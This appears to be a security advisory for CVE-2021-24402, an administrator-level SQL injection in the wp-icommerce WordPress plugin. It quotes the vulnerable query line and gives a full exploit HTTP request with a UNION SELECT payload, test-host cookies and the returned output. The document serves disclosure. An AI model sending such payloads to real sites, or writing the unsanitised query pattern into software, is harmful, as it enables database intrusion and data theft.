Wp Plugin Wp Icommerce

Plugin Details

Plugin Name: wp-plugin : wp-icommerce
Effected Version : 1.1.1 (and most probably lower version's if any)
Vulnerability : Injection
Minimum Level of Access Required : Administrator
CVE Number : CVE-2021-24402
Identified by : Syed Sheeraz Ali
WPScan Reference URL

Disclosure Timeline

Technical Details

Details

Vulnerable File: /admin/order/order.php#137

Vulnerable Code block and parameter:

Administrator level SQLi for parameter order_id /admin/order/order.php#137

137:  $ordered_items = $wpdb->get_results("SELECT * FROM {$wpdb_all_prefix}order_item where fk_order_id = ".$_GET['order_id']." ORDER BY order_item_id ASC " );%

PoC Screenshots

screenshot 1 screenshot 2

Exploit

GET /wp-admin/admin.php?page=wpic_order_page&order_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL-- - HTTP/1.1
Host: 172.28.128.50
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620460502%7CijOCmlgmjMgoJK3UsTwIOiXIcfoc1SikqZGRE8FZzNF%7C3d7d033b8daf07dedf1e1a8dcd76b6e1e0dcbafe4aaccb82e6746a6aca1573ac; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AiQVT6EvbuCedvp65Wb1%2BuUEl; PHPSESSID=d8f8beced189cdd7cb849dedbb8a8383; wordpress_logged_in_232395f24f6cff47569f2739c21385d6=admin%7C1620460502%7CijOCmlgmjMgoJK3UsTwIOiXIcfoc1SikqZGRE8FZzNF%7C7592628b1a41de06805c47e90606ccc7b50c0188ae4783aef3d87442aa29d6f5; wp-settings-time-1=1620288703
Connection: close
           <td>
              <a class="wpic_admin_popup" data-popupid="1" style="cursor:pointer;">bob@localhost</a>
                            </td>
            <td>
                          </td>
            <td>
              <a href="http://172.28.128.50/wp-admin/post.php?post=&action=edit">
                              </a>
            </td>
            <td></td>
            <td><span class="wpic_prod_currency">$ </span><span class="wpic_product_price">0.00</span></td>
            <td><span class="wpic_prod_currency">$ </span><span class="wpic_product_price">0.00</span>           
              
              <div id="scpd-popup-content-1" class="wpic_popup_content" style="display:none;">
                  <div class="wpic_popup_header">
                    <div class="wpic_popup_title">
                      <div class="wpic_prod_title">bob@localhost</div>
                      <div class="wpic_prod_sku"><strong>SKU :</strong> 
                                              </div>
                    </div>